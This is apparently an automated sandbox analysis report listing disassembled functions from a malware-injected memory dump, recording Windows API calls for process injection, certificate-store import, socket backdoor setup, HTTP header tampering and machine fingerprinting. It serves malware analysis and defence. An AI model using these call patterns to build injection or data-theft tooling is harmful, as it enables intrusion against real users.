    Function 00A5487D, Relevance: 6.2, APIs: 4, Instructions: 194
    APIs
      • Part of subcall function 00A48130: HeapAlloc.KERNEL32(00000008,?,00A4C881), ref: 00A48141
    • RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?), ref: 00A5493D
      • Part of subcall function 00A4C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 00A4C6C6
      • Part of subcall function 00A4C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00A4C748
    • RegOpenKeyExW.ADVAPI32(?,?,00000000,00000001,?), ref: 00A549F6
      • Part of subcall function 00A48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A48EB4
      • Part of subcall function 00A4C7BB: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00A5C5CF,?), ref: 00A4C7D3
      • Part of subcall function 00A4C7BB: RegCloseKey.ADVAPI32(?), ref: 00A4C7E1
    • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00A54A8C
    • RegCloseKey.ADVAPI32(?), ref: 00A54A9D
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A57D9B, Relevance: 6.1, APIs: 4, Instructions: 143
    APIs
      • Part of subcall function 00A57C82: HttpQueryInfoA.WININET(?,0000002D,?,?,00000000), ref: 00A57CE1
      • Part of subcall function 00A51A14: EnterCriticalSection.KERNEL32(00A63FEC,?,00000000,00000000), ref: 00A51A2F
      • Part of subcall function 00A51A14: LeaveCriticalSection.KERNEL32(00A63FEC,?,00000000,00000000), ref: 00A51AB2
      • Part of subcall function 00A51A14: InternetCrackUrlA.WININET(?,?,00000000,?), ref: 00A51C6F
      • Part of subcall function 00A51A14: InternetCrackUrlA.WININET(?,?,00000000,?), ref: 00A51DEB
    • SetLastError.KERNEL32(00002F78,?), ref: 00A57DFA
      • Part of subcall function 00A570E4: EnterCriticalSection.KERNEL32(00A640F8,?,?,00A5789F), ref: 00A570EE
      • Part of subcall function 00A570E4: LeaveCriticalSection.KERNEL32(00A640F8,?,00A5789F), ref: 00A5710F
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,A0000000,?), ref: 00A57E8B
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,80000000), ref: 00A57EA6
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,80000000), ref: 00A57EC1
      • Part of subcall function 00A4A124: InternetQueryOptionA.WININET(?,00000015,?,?), ref: 00A4A146
      • Part of subcall function 00A4A124: InternetQueryOptionA.WININET(?,00000015,?,?), ref: 00A4A168
      • Part of subcall function 00A4A124: InternetCloseHandle.WININET(?), ref: 00A4A170
      • Part of subcall function 00A526E6: CreateThread.KERNEL32(00000000,00000000,Function_000224CC,?), ref: 00A5272B
      • Part of subcall function 00A526E6: CloseHandle.KERNEL32(?), ref: 00A52744
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
      • Part of subcall function 00A5711A: CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00A57142
      • Part of subcall function 00A5711A: InterlockedIncrement.KERNEL32(00A64120,?,?), ref: 00A5716A
      • Part of subcall function 00A5711A: EnterCriticalSection.KERNEL32(00A640F8,?,?,?,00000001,00A57E1C,?), ref: 00A57176
      • Part of subcall function 00A5711A: LeaveCriticalSection.KERNEL32(00A640F8,?,?,?,00000001,00A57E1C,?), ref: 00A5718C
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A38C09, Relevance: 6.1, APIs: 4, Instructions: 130
    APIs
    • SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00A38C30
      • Part of subcall function 00A4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A4DEF5
    • GetFileAttributesW.KERNEL32(?), ref: 00A38C84
      • Part of subcall function 00A48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A48EB4
    • GetPrivateProfileIntW.KERNEL32(?,?,000000FF,?), ref: 00A38CE7
    • GetPrivateProfileStringW.KERNEL32(?,00000000,00000000,?,00000104,?), ref: 00A38D15
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A56166, Relevance: 6.1, APIs: 4, Instructions: 95
    APIs
    • GetModuleHandleA.KERNEL32(?), ref: 00A56181
    • VirtualQuery.KERNEL32(?,?,0000001C), ref: 00A5619F
    • VirtualQuery.KERNEL32(?,?,0000001C), ref: 00A561AD
    • IsBadReadPtr.KERNEL32(?,00000010), ref: 00A5623C
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4CE96, Relevance: 6.1, APIs: 4, Instructions: 94
    APIs
    • IsBadReadPtr.KERNEL32(00A30000,?), ref: 00A4CEB2
    • VirtualAllocEx.KERNEL32(00000000,00000000,?,00003000,00000040), ref: 00A4CED0
    • WriteProcessMemory.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 00A4CF62
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    • VirtualFreeEx.KERNEL32(00000000,00000000,00000000,00008000), ref: 00A4CF87
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4F911, Relevance: 6.1, APIs: 4, Instructions: 86
    APIs
    • CoCreateInstance.OLE32(00A31620,00000000,00004401,00A31610,?), ref: 00A4F937
    • #8.OLEAUT32(?,?,000000FF,?,00000000,?,00000000,?,00000000), ref: 00A4F983
    • #2.OLEAUT32(?,?,000000FF,?,00000000,?,00000000,?,00000000), ref: 00A4F993
    • #9.OLEAUT32(?,?,00000000,?,?,?,?,?,?,?,00A55872,?,?,?), ref: 00A4F9CC
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4E6D5, Relevance: 6.1, APIs: 4, Instructions: 84
    APIs
      • Part of subcall function 00A4D8FE: SetFilePointerEx.KERNEL32(?,00000000,00000000,?,00000001), ref: 00A4D913
      • Part of subcall function 00A4D8DE: SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00A4D8F0
    • WriteFile.KERNEL32(?,?,00000005,?,00000000), ref: 00A4E754
    • WriteFile.KERNEL32(?,00000005,00A00000,00000005,00000000), ref: 00A4E76D
    • SetEndOfFile.KERNEL32 ref: 00A4E791
    • FlushFileBuffers.KERNEL32(?), ref: 00A4E799
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A449F6, Relevance: 6.1, APIs: 4, Instructions: 71
    APIs
    • WaitForSingleObject.KERNEL32(?,00000000), ref: 00A44A0F
      • Part of subcall function 00A49EB0: CloseHandle.KERNEL32(00000000), ref: 00A49EC2
      • Part of subcall function 00A49EB0: CloseHandle.KERNEL32 ref: 00A49ECB
      • Part of subcall function 00A380FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 00A3817A
    • ResetEvent.KERNEL32(?), ref: 00A44A65
    • WaitForSingleObject.KERNEL32(?,000003E8), ref: 00A44AA0
    • TerminateProcess.KERNEL32(?,00000000), ref: 00A44AB1
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4B708, Relevance: 6.1, APIs: 4, Instructions: 70
    APIs
    • WaitForSingleObject.KERNEL32(?,00000000), ref: 00A4B733
    • recv.WS2_32(?,?,00000400,00000000), ref: 00A4B77B
    • #19.WS2_32(?,?,?,00000000,?,?,00000400,00000000,?,00A645A0), ref: 00A4B795
    • select.WS2_32(00000000,?,00000000,00000000,00A5B414), ref: 00A4B7D5
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A501A6, Relevance: 6.1, APIs: 4, Instructions: 63
    APIs
      • Part of subcall function 00A37ED5: CreateMutexW.KERNEL32(00A62AFC,00000000,?), ref: 00A37EF6
    • GetTickCount.KERNEL32 ref: 00A501F8
      • Part of subcall function 00A3803E: WaitForSingleObject.KERNEL32(00000000,00A50285), ref: 00A38046
    • GetTickCount.KERNEL32 ref: 00A50220
      • Part of subcall function 00A4FE76: WaitForSingleObject.KERNEL32(00002710), ref: 00A4FFFD
      • Part of subcall function 00A4FE76: CharLowerA.USER32(00000000), ref: 00A50142
    • GetTickCount.KERNEL32 ref: 00A50239
    • WaitForSingleObject.KERNEL32 ref: 00A5024B
      • Part of subcall function 00A4BD18: ReleaseMutex.KERNEL32 ref: 00A4BD1C
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A5711A, Relevance: 6.1, APIs: 4, Instructions: 56
    APIs
      • Part of subcall function 00A48130: HeapAlloc.KERNEL32(00000008,?,00A4C881), ref: 00A48141
    • CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00A57142
    • InterlockedIncrement.KERNEL32(00A64120,?,?), ref: 00A5716A
    • EnterCriticalSection.KERNEL32(00A640F8,?,?,?,00000001,00A57E1C,?), ref: 00A57176
    • LeaveCriticalSection.KERNEL32(00A640F8,?,?,?,00000001,00A57E1C,?), ref: 00A5718C
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A448D8, Relevance: 6.1, APIs: 4, Instructions: 53
    APIs
      • Part of subcall function 00A3803E: WaitForSingleObject.KERNEL32(00000000,00A50285), ref: 00A38046
    • TlsGetValue.KERNEL32 ref: 00A448F4
    • SaveDC.GDI32(?), ref: 00A44925
    • SendMessageW.USER32(?,00000014,?,00000000), ref: 00A44937
    • RestoreDC.GDI32(?), ref: 00A44949
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4BCB2, Relevance: 6.0, APIs: 4, Instructions: 42
    APIs
    • TranslateMessage.USER32(?), ref: 00A4BCD4
    • DispatchMessageW.USER32(?), ref: 00A4BCDF
    • PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 00A4BCEF
    • MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 00A4BD03
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A5026D, Relevance: 6.0, APIs: 4, Instructions: 40
    APIs
      • Part of subcall function 00A37ED5: CreateMutexW.KERNEL32(00A62AFC,00000000,?), ref: 00A37EF6
      • Part of subcall function 00A3803E: WaitForSingleObject.KERNEL32(00000000,00A50285), ref: 00A38046
    • GetCurrentThread.KERNEL32 ref: 00A5028E
    • SetThreadPriority.KERNEL32 ref: 00A50295
    • WaitForSingleObject.KERNEL32(00001388), ref: 00A502AD
      • Part of subcall function 00A56F66: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00A56F87
      • Part of subcall function 00A56F66: Process32FirstW.KERNEL32(?,00C1FD4C), ref: 00A56FB0
      • Part of subcall function 00A56F66: OpenProcess.KERNEL32(00000400,00000000,?), ref: 00A5700B
      • Part of subcall function 00A56F66: CloseHandle.KERNEL32 ref: 00A57028
      • Part of subcall function 00A56F66: GetLengthSid.ADVAPI32(?,?,?,00C1FF78), ref: 00A5703B
      • Part of subcall function 00A56F66: CloseHandle.KERNEL32(?), ref: 00A570AC
      • Part of subcall function 00A56F66: Process32NextW.KERNEL32(?,0000022C), ref: 00A570B8
      • Part of subcall function 00A56F66: CloseHandle.KERNEL32(?), ref: 00A570C9
    • WaitForSingleObject.KERNEL32(00001388), ref: 00A502C2
      • Part of subcall function 00A4BD18: ReleaseMutex.KERNEL32 ref: 00A4BD1C
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A491F6, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 293
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A43FFE, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 215
    APIs
      • Part of subcall function 00A4BAFD: getsockname.WS2_32(?,?,?), ref: 00A4BB1B
      • Part of subcall function 00A4B3EC: recv.WS2_32(?,?,00000004,00000000), ref: 00A4B410
    • getaddrinfo.WS2_32(?,00000000,00000000,?), ref: 00A440CD
    • freeaddrinfo.WS2_32(?), ref: 00A44103
      • Part of subcall function 00A4B57B: socket.WS2_32(?,00000001,00000006), ref: 00A4B584
      • Part of subcall function 00A4B57B: bind.WS2_32 ref: 00A4B5A4
      • Part of subcall function 00A4B57B: listen.WS2_32(?,00000000), ref: 00A4B5B3
      • Part of subcall function 00A4B57B: #3.WS2_32(?,?,?,?,?,00000001,00000006,?,00A3A401,7FFFFFFF,00000000,?), ref: 00A4B5BE
      • Part of subcall function 00A4B8B2: accept.WS2_32(?,00000000,00000001), ref: 00A4B8DB
      • Part of subcall function 00A4B481: socket.WS2_32(?,00000001,00000006), ref: 00A4B48A
      • Part of subcall function 00A4B481: connect.WS2_32 ref: 00A4B4AA
      • Part of subcall function 00A4B481: #3.WS2_32(?,?,?,?,?,00000001,00000006,?,00A4B560,?,?,?,?,00A5AB8E,?,54C73B8B), ref: 00A4B4B5
      • Part of subcall function 00A4B93D: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 00A4B953
      • Part of subcall function 00A4B654: recv.WS2_32(?,?,00000400,00000000), ref: 00A4B69D
      • Part of subcall function 00A4B654: #19.WS2_32(?,?,?,00000000,?,?,00000400,00000000), ref: 00A4B6B7
      • Part of subcall function 00A4B654: select.WS2_32(00000000,?,00000000,00000000,00000000), ref: 00A4B6F4
      • Part of subcall function 00A4B8E5: shutdown.WS2_32(?,00000002), ref: 00A4B8ED
      • Part of subcall function 00A4B8E5: #3.WS2_32(?,?,00000002,00A5AC91,?,?,?,?,54C73B8B,3C3D0F99), ref: 00A4B8F4
      • Part of subcall function 00A43F88: getpeername.WS2_32(000000FF,00000000,00000000), ref: 00A43FAC
      • Part of subcall function 00A43F88: getsockname.WS2_32(000000FF,00000000,00000000), ref: 00A43FBB
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4FE76, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 213
    APIs
      • Part of subcall function 00A4A3FB: WaitForSingleObject.KERNEL32(?,?), ref: 00A4A44F
      • Part of subcall function 00A4A3FB: Sleep.KERNEL32(?), ref: 00A4A462
      • Part of subcall function 00A4A3FB: InternetCloseHandle.WININET ref: 00A4A4E8
      • Part of subcall function 00A4FC68: RegOpenKeyExW.ADVAPI32(80000001,00A63E88,00000000,00000001,?), ref: 00A4FC91
    • WaitForSingleObject.KERNEL32(00002710), ref: 00A4FFFD
      • Part of subcall function 00A49656: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00A4966F
      • Part of subcall function 00A49656: CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 00A49687
      • Part of subcall function 00A49656: CryptHashData.ADVAPI32(?,00000010,?,00000000), ref: 00A496A3
      • Part of subcall function 00A49656: CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 00A496BB
      • Part of subcall function 00A49656: CryptDestroyHash.ADVAPI32(?), ref: 00A496D2
      • Part of subcall function 00A49656: CryptReleaseContext.ADVAPI32(?,00000000), ref: 00A496DC
    • CharLowerA.USER32(00000000), ref: 00A50142
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A5C68C, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
    APIs
      • Part of subcall function 00A5C52D: GetComputerNameW.KERNEL32(?,?), ref: 00A5C548
      • Part of subcall function 00A5C52D: GetVersionExW.KERNEL32(?), ref: 00A5C57F
      • Part of subcall function 00A5C52D: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?), ref: 00A5C5F3
    • GlobalMemoryStatusEx.KERNEL32(?), ref: 00A5C6DD
    • GetVolumeInformationA.KERNEL32(00A37CB8,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00A5C71A
      • Part of subcall function 00A496EA: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00A49703
      • Part of subcall function 00A496EA: CryptCreateHash.ADVAPI32(?,00008004,00000000,00000000,?), ref: 00A4971B
      • Part of subcall function 00A496EA: CryptHashData.ADVAPI32(?,00000014,?,00000000), ref: 00A49737
      • Part of subcall function 00A496EA: CryptGetHashParam.ADVAPI32(?,00000002,?,00000014,00000000), ref: 00A4974F
      • Part of subcall function 00A496EA: CryptDestroyHash.ADVAPI32(?), ref: 00A49766
      • Part of subcall function 00A496EA: CryptReleaseContext.ADVAPI32(?,00000000), ref: 00A49770
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A50C2C, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
    APIs
    • PFXImportCertStore.CRYPT32(?,?,?), ref: 00A50C45
      • Part of subcall function 00A3803E: WaitForSingleObject.KERNEL32(00000000,00A50285), ref: 00A38046
    • GetSystemTime.KERNEL32(?), ref: 00A50C91
      • Part of subcall function 00A50A0E: GetUserNameExW.SECUR32(00000002,?,?,00000000,?,?,00A50B63,?,?,00000004,00000000,00000000,00000004,?,00000004,?), ref: 00A50A23
      • Part of subcall function 00A48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A48EB4
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A529C7, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93
    APIs
    • CoCreateInstance.OLE32(00A37228,00000000,00004401,00A37238,?), ref: 00A529F7
    • CoCreateInstance.OLE32(00A371F8,00000000,00004401,00A37208,?), ref: 00A52A4A
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A50477, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67
    APIs
    • RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 00A504BA
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
      • Part of subcall function 00A4C842: RegQueryValueExW.ADVAPI32(?,000000FF,00000000,00000000,00000000,?), ref: 00A4C867
      • Part of subcall function 00A4C842: RegQueryValueExW.ADVAPI32(?,000000FF,00000000,?,?,?), ref: 00A4C896
      • Part of subcall function 00A4C842: RegCloseKey.ADVAPI32(?), ref: 00A4C8B6
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4CB9A, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67
    APIs
    • StringFromGUID2.OLE32(?,00000064,00000028), ref: 00A4CC37
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A55080, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56
    APIs
    • SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?), ref: 00A550CE
      • Part of subcall function 00A4DD7A: FindFirstFileW.KERNEL32(?,?), ref: 00A4DDB9
      • Part of subcall function 00A4DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 00A4DDE0
      • Part of subcall function 00A4DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00A4DE2A
      • Part of subcall function 00A4DD7A: Sleep.KERNEL32(00000000), ref: 00A4DE57
      • Part of subcall function 00A4DD7A: Sleep.KERNEL32(00000000), ref: 00A4DE87
      • Part of subcall function 00A4DD7A: FindNextFileW.KERNEL32(?,?), ref: 00A4DEB5
      • Part of subcall function 00A4DD7A: FindClose.KERNEL32(?), ref: 00A4DEC7
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A54779, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56
    APIs
    • SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?), ref: 00A547C7
      • Part of subcall function 00A4DD7A: FindFirstFileW.KERNEL32(?,?), ref: 00A4DDB9
      • Part of subcall function 00A4DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 00A4DDE0
      • Part of subcall function 00A4DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00A4DE2A
      • Part of subcall function 00A4DD7A: Sleep.KERNEL32(00000000), ref: 00A4DE57
      • Part of subcall function 00A4DD7A: Sleep.KERNEL32(00000000), ref: 00A4DE87
      • Part of subcall function 00A4DD7A: FindNextFileW.KERNEL32(?,?), ref: 00A4DEB5
      • Part of subcall function 00A4DD7A: FindClose.KERNEL32(?), ref: 00A4DEC7
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4C136, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
    APIs
    • GetTempFileNameW.KERNEL32(?,cab,00000000,?), ref: 00A4C158
      • Part of subcall function 00A4D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00A4D95E
      • Part of subcall function 00A4D955: DeleteFileW.KERNEL32(?), ref: 00A4D968
    • PathFindFileNameW.SHLWAPI(?), ref: 00A4C17B
      • Part of subcall function 00A482C2: WideCharToMultiByte.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 00A482DD
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4D9C8, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47
    APIs
    • GetTempPathW.KERNEL32(000000F6,?), ref: 00A4D9DF
      • Part of subcall function 00A4977E: GetTickCount.KERNEL32 ref: 00A4977E
      • Part of subcall function 00A48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A48EB4
      • Part of subcall function 00A4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A4DEF5
      • Part of subcall function 00A4D7AA: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00A4D7C4
      • Part of subcall function 00A4D7AA: WriteFile.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 00A4D7E7
      • Part of subcall function 00A4D7AA: CloseHandle.KERNEL32 ref: 00A4D7F4
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A59E61, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42
    APIs
      • Part of subcall function 00A4BC34: GetTokenInformation.ADVAPI32(00A62AC0,00000001,00000000,00000000,00A62F90), ref: 00A4BC4D
      • Part of subcall function 00A4BC34: GetLastError.KERNEL32(?,00000000,?,?,00A49AD9,00A62AC0,?,?,?,00A37CFB,000000FF,00A62AC0,00A62F90), ref: 00A4BC53
      • Part of subcall function 00A4BC34: GetTokenInformation.ADVAPI32(00A62AC0,00000001,?,00A62F90,00A62F90), ref: 00A4BC79
    • EqualSid.ADVAPI32(?,?), ref: 00A59E86
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
      • Part of subcall function 00A49DBF: LoadLibraryA.KERNEL32(userenv.dll), ref: 00A49DD0
      • Part of subcall function 00A49DBF: GetProcAddress.KERNEL32(?,CreateEnvironmentBlock), ref: 00A49DEF
      • Part of subcall function 00A49DBF: GetProcAddress.KERNEL32(?,DestroyEnvironmentBlock), ref: 00A49DFB
      • Part of subcall function 00A49DBF: CreateProcessAsUserW.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00A59EB5,00000000,?,?), ref: 00A49E70
      • Part of subcall function 00A49DBF: CloseHandle.KERNEL32(?), ref: 00A49E83
      • Part of subcall function 00A49DBF: CloseHandle.KERNEL32(?), ref: 00A49E88
      • Part of subcall function 00A49DBF: FreeLibrary.KERNEL32(?), ref: 00A49E9F
    • CloseHandle.KERNEL32(?), ref: 00A59EC7
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A5690B, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42
    APIs
    • GetFileAttributesExW.KERNEL32(?,?,?), ref: 00A56970
      • Part of subcall function 00A3803E: WaitForSingleObject.KERNEL32(00000000,00A50285), ref: 00A38046
    • VirtualAlloc.KERNEL32(?,00001000,00003000,00000004), ref: 00A5694E
    Strings
    • {B60D3CFB-57EE-51EE-A961-10791936558D}, xrefs: 00A56933
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4A5AD, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39
    APIs
      • Part of subcall function 00A4A52D: LoadLibraryA.KERNEL32(urlmon.dll), ref: 00A4A53E
      • Part of subcall function 00A4A52D: GetProcAddress.KERNEL32(?,ObtainUserAgentString), ref: 00A4A551
      • Part of subcall function 00A4A52D: FreeLibrary.KERNEL32(?), ref: 00A4A5A2
    • GetTickCount.KERNEL32 ref: 00A4A5F2
      • Part of subcall function 00A4A3FB: WaitForSingleObject.KERNEL32(?,?), ref: 00A4A44F
      • Part of subcall function 00A4A3FB: Sleep.KERNEL32(?), ref: 00A4A462
      • Part of subcall function 00A4A3FB: InternetCloseHandle.WININET ref: 00A4A4E8
    • GetTickCount.KERNEL32 ref: 00A4A604
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    Strings
    • http://www.google.com/webhp, xrefs: 00A4A5D2
    Memory Dump Source
